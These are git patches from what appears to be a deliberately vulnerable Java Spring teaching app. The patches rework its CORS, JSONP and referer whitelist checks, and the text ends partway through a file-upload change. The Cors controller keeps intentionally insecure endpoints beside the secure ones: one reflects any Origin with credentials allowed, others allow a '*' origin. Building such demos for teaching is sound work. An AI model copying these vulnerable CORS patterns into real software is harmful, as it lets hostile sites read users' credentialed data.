Date: Thu, 19 Dec 2019 19:50:00 +0800
Subject: [PATCH 08/41] add filter cors fix code
---
.../java/org/joychou/config/CorsConfig2.java | 1 +
.../controller/{CORS.java => Cors.java} | 24 ++++----
.../org/joychou/controller/URLRedirect.java | 2 +-
.../org/joychou/controller/jsonp/JSONP.java | 4 +-
.../{security => filter}/HttpFilter.java | 9 ++-
.../java/org/joychou/filter/OriginFilter.java | 59 +++++++++++++++++++
.../org/joychou/security/SecurityUtil.java | 18 +++---
src/main/resources/templates/index.html | 1 +
8 files changed, 91 insertions(+), 27 deletions(-)
rename src/main/java/org/joychou/controller/{CORS.java => Cors.java} (84%)
rename src/main/java/org/joychou/{security => filter}/HttpFilter.java (88%)
create mode 100644 src/main/java/org/joychou/filter/OriginFilter.java
diff --git a/src/main/java/org/joychou/config/CorsConfig2.java b/src/main/java/org/joychou/config/CorsConfig2.java
index 97b9b59e..382f6ba7 100644
--- a/src/main/java/org/joychou/config/CorsConfig2.java
+++ b/src/main/java/org/joychou/config/CorsConfig2.java
@@ -7,6 +7,7 @@
//import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
//import org.springframework.web.filter.CorsFilter;
//
+//// https://spring.io/blog/2015/06/08/cors-support-in-spring-framework
//@Configuration
//public class CorsConfig2 {
//
diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/Cors.java
similarity index 84%
rename from src/main/java/org/joychou/controller/CORS.java
rename to src/main/java/org/joychou/controller/Cors.java
index ec8c581c..db526a72 100644
--- a/src/main/java/org/joychou/controller/CORS.java
+++ b/src/main/java/org/joychou/controller/Cors.java
@@ -18,7 +18,7 @@
@RestController
@RequestMapping("/cors")
-public class CORS {
+public class Cors {
protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
protected static String[] urlwhitelist = {"joychou.com", "joychou.me"};
@@ -46,34 +46,34 @@ private static String vuls3(HttpServletResponse response) {
}
- /**
- * http://localhost:8080/cors/sec/webMvcConfigurer
- * https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/webMvcConfigurer.java
- */
+ // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/webMvcConfigurer.java
@RequestMapping("/sec/webMvcConfigurer")
public CsrfToken getCsrfToken_01(CsrfToken token) {
return token;
}
- /**
- * https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java
- */
+ // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java
@RequestMapping("/sec/httpCors")
public CsrfToken getCsrfToken_02(CsrfToken token) {
return token;
}
- /**
- * https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/SecCorsFilter.java
- */
+ // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/SecCorsFilter.java
@RequestMapping("/sec/corsFitler")
public CsrfToken getCsrfToken_03(CsrfToken token) {
return token;
}
+ // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/CorsFilter.java
+ @RequestMapping("/sec/Filter")
+ public CsrfToken getCsrfToken_04(CsrfToken token) {
+ return token;
+ }
+
+
// http://localhost:8080/cors/sec/checkOrigin
@RequestMapping("/sec/checkOrigin")
public String seccode(HttpServletRequest request, HttpServletResponse response) {
@@ -81,7 +81,7 @@ public String seccode(HttpServletRequest request, HttpServletResponse response)
// 如果origin不为空并且origin不在白名单内,认定为不安全。
// 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。
- if ( origin != null && !SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) ) {
+ if ( origin != null && SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) == null ) {
return "Origin is not safe.";
}
response.setHeader("Access-Control-Allow-Origin", origin);
diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java
index 26fc1652..dfd220f2 100644
--- a/src/main/java/org/joychou/controller/URLRedirect.java
+++ b/src/main/java/org/joychou/controller/URLRedirect.java
@@ -82,7 +82,7 @@ public static void forward(HttpServletRequest request, HttpServletResponse respo
public static void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) throws IOException{
String url = request.getParameter("url");
String urlwhitelist[] = {"joychou.org", "joychou.com"};
- if (!SecurityUtil.checkURLbyEndsWith(url, urlwhitelist)) {
+ if (SecurityUtil.checkURLbyEndsWith(url, urlwhitelist) == null) {
// Redirect to error page.
response.sendRedirect("https://test.joychou.org/error3.html");
return;
diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/jsonp/JSONP.java
index 34980530..a5c9072f 100644
--- a/src/main/java/org/joychou/controller/jsonp/JSONP.java
+++ b/src/main/java/org/joychou/controller/jsonp/JSONP.java
@@ -62,7 +62,7 @@ private String referer(HttpServletRequest request) {
private String emptyReferer(HttpServletRequest request) {
String referer = request.getHeader("referer");
- if (null != referer && !SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) {
+ if (null != referer && SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) {
return "error";
}
@@ -108,7 +108,7 @@ public ModelAndView mappingJackson2JsonView(HttpServletRequest req) {
private String safecode(HttpServletRequest request) {
String referer = request.getHeader("referer");
- if (!SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) {
+ if (SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) {
return "error";
}
diff --git a/src/main/java/org/joychou/security/HttpFilter.java b/src/main/java/org/joychou/filter/HttpFilter.java
similarity index 88%
rename from src/main/java/org/joychou/security/HttpFilter.java
rename to src/main/java/org/joychou/filter/HttpFilter.java
index 2d6354e7..83b4ea13 100644
--- a/src/main/java/org/joychou/security/HttpFilter.java
+++ b/src/main/java/org/joychou/filter/HttpFilter.java
@@ -1,4 +1,4 @@
-package org.joychou.security;
+package org.joychou.filter;
import javax.servlet.*;
@@ -9,6 +9,7 @@
import org.apache.commons.lang.StringUtils;
import org.joychou.config.WebConfig;
+import org.joychou.security.SecurityUtil;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.util.AntPathMatcher;
@@ -30,7 +31,7 @@ public void init(FilterConfig filterConfig) throws ServletException {
}
- private final Logger logger= LoggerFactory.getLogger(HttpFilter.class);
+ private final Logger logger= LoggerFactory.getLogger(this.getClass());
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
@@ -49,13 +50,15 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
}
}
+ // logger.info("[+] Referer: " + refer);
+
if (isMatch) {
if (WebConfig.getReferSecEnabled()) {
// Check referer for all GET requests with callback parameters.
for (String callback: WebConfig.getCallbacks()) {
if (request.getMethod().equals("GET") && StringUtils.isNotBlank(request.getParameter(callback)) ){
// If the check of referer fails, a 403 forbidden error page will be returned.
- if (!SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist())){
+ if (SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist()) == null ){
logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
+ "Referer: " + refer);
response.sendRedirect("https://test.joychou.org/error3.html");
diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java
new file mode 100644
index 00000000..5f10c1a1
--- /dev/null
+++ b/src/main/java/org/joychou/filter/OriginFilter.java
@@ -0,0 +1,59 @@
+package org.joychou.filter;
+
+
+import javax.servlet.*;
+import javax.servlet.annotation.WebFilter;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+/**
+ * 推荐使用该全局方案修复Cors跨域漏洞,因为可以校验一级域名。
+ * @author JoyChou @ 2019.12.19
+ *
+ */
+
+@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/Filter")
+public class OriginFilter implements Filter {
+
+ private static String[] urlwhitelist = {"joychou.org", "joychou.me"};
+
+ @Override
+ public void init(FilterConfig filterConfig) throws ServletException {
+
+ }
+
+ private final Logger logger= LoggerFactory.getLogger(this.getClass());
+
+ @Override
+ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
+ throws IOException, ServletException {
+
+ HttpServletRequest request = (HttpServletRequest)req;
+ HttpServletResponse response = (HttpServletResponse)res;
+
+ String origin = request.getHeader("Origin");
+ logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL());
+
+ // 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑
+ if ( origin != null && SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) == null) {
+ logger.error("[-] Origin check error.");
+ return;
+ }
+
+ response.setHeader("Access-Control-Allow-Origin", origin);
+ response.setHeader("Access-Control-Allow-Credentials", "true");
+ response.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTION");
+
+ filterChain.doFilter(req, res);
+ }
+
+ @Override
+ public void destroy() {
+
+ }
+}
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index 65681836..48573454 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -18,29 +18,29 @@ public class SecurityUtil {
*
* @param url 需要check的url
* @param urlwhitelist url白名单list
- * @return 安全url返回true,危险url返回false
+ * @return 安全url返回url,危险url返回null
*/
- public static Boolean checkURLbyEndsWith(String url, String[] urlwhitelist) {
+ public static String checkURLbyEndsWith(String url, String[] urlwhitelist) {
if (null == url) {
- return false;
+ return null;
}
try {
URI uri = new URI(url);
if (!url.startsWith("http://") && !url.startsWith("https://")) {
- return false;
+ return null;
}
String host = uri.getHost().toLowerCase();
for (String whitelist: urlwhitelist){
if (host.endsWith("." + whitelist)) {
- return true;
+ return url;
}
}
- return false;
+ return null;
} catch (Exception e) {
- return false;
+ return null;
}
}
@@ -75,9 +75,9 @@ public static boolean checkSSRFWithoutRedirect(String url) {
*
* @param url The url that needs to check.
* @param hostWlist host whitelist
- * @return Safe url returns true. Dangerous url returns false.
+ * @return Safe url returns url. Dangerous url returns null.
*/
- public static boolean checkSSRFByHostWlist(String url, String[] hostWlist) {
+ public static String checkSSRFByHostWlist(String url, String[] hostWlist) {
return checkURLbyEndsWith(url, hostWlist);
}
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index e3a3d25e..b57838db 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -10,6 +10,7 @@
CmdInject
JSONP
+ Cors
PathTraversal
SqlInject
SSRF
From 85eb3b9cc51ee43bc410debacd2c18cd1c1375ed Mon Sep 17 00:00:00 2001
From: JoyChou
Date: Thu, 26 Dec 2019 23:28:41 +0800
Subject: [PATCH 09/41] update cors security code
---
.../java/org/joychou/config/CorsConfig.java | 29 ---------
.../java/org/joychou/config/CorsConfig2.java | 2 +-
.../org/joychou/config/CustomCorsConfig.java | 49 +++++++++++++++
.../java/org/joychou/controller/Cors.java | 57 +++++++++++++-----
...SecCorsFilter.java => BaseCorsFilter.java} | 11 ++--
.../java/org/joychou/filter/OriginFilter.java | 11 ++--
.../joychou/security/CustomCorsProcessor.java | 60 +++++++++++++++++++
.../joychou/security/WebSecurityConfig.java | 6 +-
src/main/resources/templates/index.html | 2 +-
9 files changed, 168 insertions(+), 59 deletions(-)
delete mode 100644 src/main/java/org/joychou/config/CorsConfig.java
create mode 100644 src/main/java/org/joychou/config/CustomCorsConfig.java
rename src/main/java/org/joychou/filter/{SecCorsFilter.java => BaseCorsFilter.java} (74%)
create mode 100644 src/main/java/org/joychou/security/CustomCorsProcessor.java
diff --git a/src/main/java/org/joychou/config/CorsConfig.java b/src/main/java/org/joychou/config/CorsConfig.java
deleted file mode 100644
index 8125e518..00000000
--- a/src/main/java/org/joychou/config/CorsConfig.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package org.joychou.config;
-
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.web.servlet.config.annotation.CorsRegistry;
-import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
-import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;
-
-
-@Configuration
-public class CorsConfig
-{
- @Bean
- public WebMvcConfigurer corsConfigurer()
- {
- return new WebMvcConfigurerAdapter() {
- @Override
- public void addCorsMappings(CorsRegistry registry) {
- // 设置cors origin白名单。区分http和https,并且默认不会拦截同域请求。
- String[] allowOrigins = {"http://test.joychou.org", "https://test.joychou.org"};
-
- registry.addMapping("/cors/sec/webMvcConfigurer")
- .allowedOrigins(allowOrigins)
- .allowedMethods("GET", "POST")
- .allowCredentials(true);
- }
- };
- }
-}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/config/CorsConfig2.java b/src/main/java/org/joychou/config/CorsConfig2.java
index 382f6ba7..6c1a8ef8 100644
--- a/src/main/java/org/joychou/config/CorsConfig2.java
+++ b/src/main/java/org/joychou/config/CorsConfig2.java
@@ -26,4 +26,4 @@
// bean.setOrder(0);
// return bean;
// }
-//}
+//}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/config/CustomCorsConfig.java b/src/main/java/org/joychou/config/CustomCorsConfig.java
new file mode 100644
index 00000000..d18a285e
--- /dev/null
+++ b/src/main/java/org/joychou/config/CustomCorsConfig.java
@@ -0,0 +1,49 @@
+package org.joychou.config;
+
+import org.joychou.security.CustomCorsProcessor;
+import org.springframework.boot.autoconfigure.web.WebMvcRegistrationsAdapter;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.web.servlet.config.annotation.CorsRegistry;
+import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
+import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;
+import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
+
+@Configuration
+public class CustomCorsConfig extends WebMvcRegistrationsAdapter {
+
+ /**
+ * 设置cors origin白名单。区分http和https,并且默认不会拦截同域请求。
+ */
+ @Bean
+ public WebMvcConfigurer corsConfigurer() {
+ return new WebMvcConfigurerAdapter() {
+ @Override
+ public void addCorsMappings(CorsRegistry registry) {
+ // 支持一级域名,因为重写了checkOrigin
+ String[] allowOrigins = {"joychou.org", "http://test.joychou.me"};
+ registry.addMapping("/cors/sec/webMvcConfigurer") // /**表示所有路由path
+ .allowedOrigins(allowOrigins)
+ .allowedMethods("GET", "POST")
+ .allowCredentials(true);
+ }
+ };
+ }
+
+
+ @Override
+ public RequestMappingHandlerMapping getRequestMappingHandlerMapping() {
+ return new CustomRequestMappingHandlerMapping();
+ }
+
+
+ /**
+ * 自定义Cors处理器
+ * 自定义校验origin,支持一级域名校验 && 多级域名
+ */
+ private static class CustomRequestMappingHandlerMapping extends RequestMappingHandlerMapping {
+ private CustomRequestMappingHandlerMapping() {
+ setCorsProcessor(new CustomCorsProcessor());
+ }
+ }
+}
diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java
index db526a72..adb069a9 100644
--- a/src/main/java/org/joychou/controller/Cors.java
+++ b/src/main/java/org/joychou/controller/Cors.java
@@ -11,20 +11,20 @@
import javax.servlet.http.HttpServletResponse;
/**
- * @author JoyChou (joychou@joychou.org)
- * @date 2018.10.24
- * @desc https://github.com/JoyChou93/java-sec-code/wiki/CORS
+ * @author JoyChou (joychou@joychou.org) @2018.10.24
+ * https://github.com/JoyChou93/java-sec-code/wiki/CORS
*/
@RestController
@RequestMapping("/cors")
public class Cors {
- protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
- protected static String[] urlwhitelist = {"joychou.com", "joychou.me"};
+ private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
+ private static String[] urlwhitelist = {"joychou.org", "joychou.me"};
+
@RequestMapping("/vuln/origin")
- private static String vuls1(HttpServletRequest request, HttpServletResponse response) {
+ public static String vuls1(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的
response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie
@@ -32,7 +32,7 @@ private static String vuls1(HttpServletRequest request, HttpServletResponse resp
}
@RequestMapping("/vuln/setHeader")
- private static String vuls2(HttpServletResponse response) {
+ public static String vuls2(HttpServletResponse response) {
// 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常
response.setHeader("Access-Control-Allow-Origin", "*");
return info;
@@ -41,40 +41,67 @@ private static String vuls2(HttpServletResponse response) {
@CrossOrigin("*")
@RequestMapping("/vuln/crossOrigin")
- private static String vuls3(HttpServletResponse response) {
+ public static String vuls3() {
+ return info;
+ }
+
+
+ /**
+ * 重写Cors的checkOrigin校验方法
+ * 支持自定义checkOrigin,让其额外支持一级域名
+ * 代码:org/joychou/security/CustomCorsProcessor
+ */
+ @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"})
+ @RequestMapping("/sec/crossOrigin")
+ public static String secCrossOrigin() {
return info;
}
- // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/webMvcConfigurer.java
+ /**
+ * WebMvcConfigurer设置Cors
+ * 支持自定义checkOrigin
+ * 代码:org/joychou/config/CorsConfig.java
+ */
@RequestMapping("/sec/webMvcConfigurer")
public CsrfToken getCsrfToken_01(CsrfToken token) {
return token;
}
- // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java
+ /**
+ * spring security设置cors
+ * 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行
+ * 代码:org/joychou/security/WebSecurityConfig.java
+ */
@RequestMapping("/sec/httpCors")
public CsrfToken getCsrfToken_02(CsrfToken token) {
return token;
}
- // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/SecCorsFilter.java
- @RequestMapping("/sec/corsFitler")
+ /**
+ * 自定义filter设置cors
+ * 支持自定义checkOrigin
+ * 代码:org/joychou/filter/OriginFilter.java
+ */
+ @RequestMapping("/sec/originFilter")
public CsrfToken getCsrfToken_03(CsrfToken token) {
return token;
}
- // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/CorsFilter.java
- @RequestMapping("/sec/Filter")
+ /**
+ * CorsFilter设置cors。
+ * 不支持自定义checkOrigin,因为corsFilter优先于setCorsProcessor执行
+ * 代码:org/joychou/filter/BaseCorsFilter.java
+ */
+ @RequestMapping("/sec/corsFilter")
public CsrfToken getCsrfToken_04(CsrfToken token) {
return token;
}
- // http://localhost:8080/cors/sec/checkOrigin
@RequestMapping("/sec/checkOrigin")
public String seccode(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("Origin");
diff --git a/src/main/java/org/joychou/filter/SecCorsFilter.java b/src/main/java/org/joychou/filter/BaseCorsFilter.java
similarity index 74%
rename from src/main/java/org/joychou/filter/SecCorsFilter.java
rename to src/main/java/org/joychou/filter/BaseCorsFilter.java
index 67493cb0..9987464f 100644
--- a/src/main/java/org/joychou/filter/SecCorsFilter.java
+++ b/src/main/java/org/joychou/filter/BaseCorsFilter.java
@@ -9,27 +9,26 @@
/**
* 由于CorsFilter和spring security冲突,所以改为下面的代码。
- * CorsFilter可以参考config/CorsConfig2的代码。
*/
@Component
@Order(Ordered.HIGHEST_PRECEDENCE)
-public class SecCorsFilter extends CorsFilter {
+public class BaseCorsFilter extends CorsFilter {
- public SecCorsFilter() {
+ public BaseCorsFilter() {
super(configurationSource());
}
private static UrlBasedCorsConfigurationSource configurationSource() {
CorsConfiguration config = new CorsConfiguration();
config.setAllowCredentials(true);
- config.addAllowedOrigin("http://test.joychou.org");
- config.addAllowedOrigin("https://test.joychou.org");
+ config.addAllowedOrigin("joychou.org"); // 不支持
+ config.addAllowedOrigin("http://test.joychou.me");
config.addAllowedHeader("*");
config.addAllowedMethod("GET");
config.addAllowedMethod("POST");
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
- source.registerCorsConfiguration("/cors/sec/corsFitler", config);
+ source.registerCorsConfiguration("/cors/sec/corsFilter", config);
return source;
}
diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java
index 5f10c1a1..55ebf4a3 100644
--- a/src/main/java/org/joychou/filter/OriginFilter.java
+++ b/src/main/java/org/joychou/filter/OriginFilter.java
@@ -11,13 +11,13 @@
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
+
/**
* 推荐使用该全局方案修复Cors跨域漏洞,因为可以校验一级域名。
* @author JoyChou @ 2019.12.19
- *
+ *
*/
-
-@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/Filter")
+@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter")
public class OriginFilter implements Filter {
private static String[] urlwhitelist = {"joychou.org", "joychou.me"};
@@ -41,7 +41,10 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
// 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑
if ( origin != null && SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) == null) {
- logger.error("[-] Origin check error.");
+ logger.error("[-] Origin check error. " + "Origin: " + origin +
+ "\tCurrent url:" + request.getRequestURL());
+ response.setStatus(response.SC_FORBIDDEN);
+ response.getWriter().println("Invaid cors config by joychou.");
return;
}
diff --git a/src/main/java/org/joychou/security/CustomCorsProcessor.java b/src/main/java/org/joychou/security/CustomCorsProcessor.java
new file mode 100644
index 00000000..45e0451a
--- /dev/null
+++ b/src/main/java/org/joychou/security/CustomCorsProcessor.java
@@ -0,0 +1,60 @@
+package org.joychou.security;
+
+import org.apache.commons.lang.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.util.CollectionUtils;
+import org.springframework.web.cors.CorsConfiguration;
+import org.springframework.web.cors.DefaultCorsProcessor;
+
+import java.util.List;
+
+public class CustomCorsProcessor extends DefaultCorsProcessor {
+
+ private static final Logger logger = LoggerFactory.getLogger(CustomCorsProcessor.class);
+
+
+ /**
+ * 跨域请求,会通过此方法检测请求源是否被允许
+ *
+ * @param config CORS 配置
+ * @param requestOrigin 请求源
+ * @return 如果请求源被允许,返回请求源;否则返回 null
+ */
+ @Override
+ protected String checkOrigin(CorsConfiguration config, String requestOrigin) {
+
+ // 支持checkOrigin原装的域名配置
+ String result = super.checkOrigin(config, requestOrigin);
+ if (result != null) {
+ return result;
+ }
+
+ List allowedOrigins = config.getAllowedOrigins();
+ if (StringUtils.isBlank(requestOrigin)
+ || CollectionUtils.isEmpty(allowedOrigins)) {
+ return null;
+ }
+
+ return customCheckOrigin(allowedOrigins, requestOrigin);
+ }
+
+
+ /**
+ * 用host的endsWith来校验requestOrigin
+ */
+ private String customCheckOrigin(List allowedOrigins, String requestOrigin) {
+
+ // list转String[]
+ String[] arrayAllowOrigins = allowedOrigins.toArray(new String[allowedOrigins.size()]);
+
+ if ( SecurityUtil.checkURLbyEndsWith(requestOrigin, arrayAllowOrigins) != null) {
+ logger.info("[+] Origin: " + requestOrigin );
+ return requestOrigin;
+ }
+ logger.error("[-] Origin: " + requestOrigin );
+ return null;
+ }
+
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java
index 684e5513..27a332c3 100644
--- a/src/main/java/org/joychou/security/WebSecurityConfig.java
+++ b/src/main/java/org/joychou/security/WebSecurityConfig.java
@@ -62,7 +62,7 @@ protected void configure(HttpSecurity http) throws Exception {
.ignoringAntMatchers(csrfExcludeUrl) // 不进行csrf校验的uri,多个uri使用逗号分隔
.csrfTokenRepository(new CookieCsrfTokenRepository());
http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler());
- // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
+ // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());«
http.cors();
@@ -85,8 +85,8 @@ CorsConfigurationSource corsConfigurationSource()
{
// Set cors origin white list
ArrayList allowOrigins = new ArrayList();
- allowOrigins.add("http://test.joychou.org");
- allowOrigins.add("https://test.joychou.org"); // 区分http和https,并且默认不会拦截同域请求。
+ allowOrigins.add("joychou.org");
+ allowOrigins.add("https://test.joychou.me"); // 区分http和https,并且默认不会拦截同域请求。
CorsConfiguration configuration = new CorsConfiguration();
configuration.setAllowedOrigins(allowOrigins);
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index b57838db..18933862 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -10,7 +10,7 @@
CmdInject
JSONP
- Cors
+ Cors
PathTraversal
SqlInject
SSRF
From 9dd930e8a34c5145c970296ed8f5b40083e4f77d Mon Sep 17 00:00:00 2001
From: JoyChou
Date: Fri, 17 Jan 2020 10:44:30 +0800
Subject: [PATCH 10/41] update some bugs
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
年前最后一次commit
---
.../java/org/joychou/config/WebConfig.java | 57 ++++++++--
.../org/joychou/controller/FileUpload.java | 37 +++++--
.../org/joychou/controller/URLWhiteList.java | 103 ++++++++----------
.../org/joychou/controller/jsonp/JSONP.java | 58 +++++-----
.../java/org/joychou/filter/JsonpFilter.java | 102 +++++++++++++++++
.../java/org/joychou/filter/OriginFilter.java | 2 +-
.../{HttpFilter.java => ReferFilter.java} | 45 ++++----
src/main/java/org/joychou/util/WebUtils.java | 7 ++
src/main/resources/application.properties | 9 +-
src/main/resources/templates/index.html | 1 +
10 files changed, 293 insertions(+), 128 deletions(-)
create mode 100644 src/main/java/org/joychou/filter/JsonpFilter.java
rename src/main/java/org/joychou/filter/{HttpFilter.java => ReferFilter.java} (62%)
diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java
index cd4770d4..96d7f0f5 100644
--- a/src/main/java/org/joychou/config/WebConfig.java
+++ b/src/main/java/org/joychou/config/WebConfig.java
@@ -12,30 +12,59 @@
@Component
public class WebConfig {
- private static Boolean referSecEnabled = false;
private static String[] callbacks;
+ private static Boolean jsonpReferCheckEnabled = false;
+ private static String[] jsonpRefererHost;
private static String[] referWhitelist;
private static String[] referUris;
+ private static Boolean referSecEnabled = false;
+ private static String businessCallback;
- @Value("${joychou.security.referer.enabled}")
- public void setReferSecEnabled(Boolean referSecEnabled){
- WebConfig.referSecEnabled = referSecEnabled;
+ /**
+ * application.properties里object自动转jsonp的referer校验开关
+ * @param jsonpReferCheckEnabled jsonp校验开关
+ */
+ @Value("${joychou.security.jsonp.referer.check.enabled}")
+ public void setJsonpReferCheckEnabled(Boolean jsonpReferCheckEnabled){
+ WebConfig.jsonpReferCheckEnabled = jsonpReferCheckEnabled;
}
- public static Boolean getReferSecEnabled(){
- return referSecEnabled;
+ public static Boolean getJsonpReferCheckEnabled(){
+ return jsonpReferCheckEnabled;
}
@Value("${joychou.security.jsonp.callback}")
- public void setCallbacks(String[] callbacks){
+ public void setJsonpCallbacks(String[] callbacks){
WebConfig.callbacks = callbacks;
}
- public static String[] getCallbacks(){
+ public static String[] getJsonpCallbacks(){
return callbacks;
}
- @Value("${joychou.security.referer.hostwhitelist}")
+ /**
+ * application.properties里object自动转jsonp的referer白名单域名
+ * @param jsonpRefererHost 白名单域名,仅支持一级域名
+ */
+ @Value("${joychou.security.jsonp.referer.host}")
+ public void setJsonpReferWhitelist(String[] jsonpRefererHost){
+ WebConfig.jsonpRefererHost = jsonpRefererHost;
+ }
+ public static String[] getJsonpReferWhitelist(){
+ return jsonpRefererHost;
+ }
+
+
+ @Value("${joychou.security.referer.enabled}")
+ public void setReferSecEnabled(Boolean referSecEnabled){
+ WebConfig.referSecEnabled = referSecEnabled;
+ }
+ public static Boolean getReferSecEnabled(){
+ return referSecEnabled;
+ }
+
+
+ @Value("${joychou.security.referer.host}")
public void setReferWhitelist(String[] referWhitelist){
WebConfig.referWhitelist = referWhitelist;
}
@@ -52,4 +81,14 @@ public void setReferUris(String[] referUris)
public static String[] getReferUris(){
return referUris;
}
+
+
+ @Value("${joychou.business.callback}")
+ public void setBusinessCallback(String businessCallback){
+ WebConfig.businessCallback = businessCallback;
+ }
+ public static String getBusinessCallback(){
+ return businessCallback;
+ }
+
}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java
index ac378219..77388816 100644
--- a/src/main/java/org/joychou/controller/FileUpload.java
+++ b/src/main/java/org/joychou/controller/FileUpload.java
@@ -1,6 +1,8 @@
package org.joychou.controller;
import com.fasterxml.uuid.Generators;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
@@ -23,7 +25,7 @@
/**
* @author JoyChou (joychou@joychou.org)
* @date 2018.08.15
- * @desc Java file upload
+ * @desc File upload
*/
@Controller
@@ -32,6 +34,7 @@ public class FileUpload {
// Save the uploaded file to this folder
private static String UPLOADED_FOLDER = "/tmp/";
+ private final Logger logger= LoggerFactory.getLogger(this.getClass());
@GetMapping("/")
public String index() {
@@ -80,14 +83,13 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile,
return "redirect:/file/status";
}
- // get suffix
String fileName = multifile.getOriginalFilename();
- String Suffix = fileName.substring(fileName.lastIndexOf("."));
-
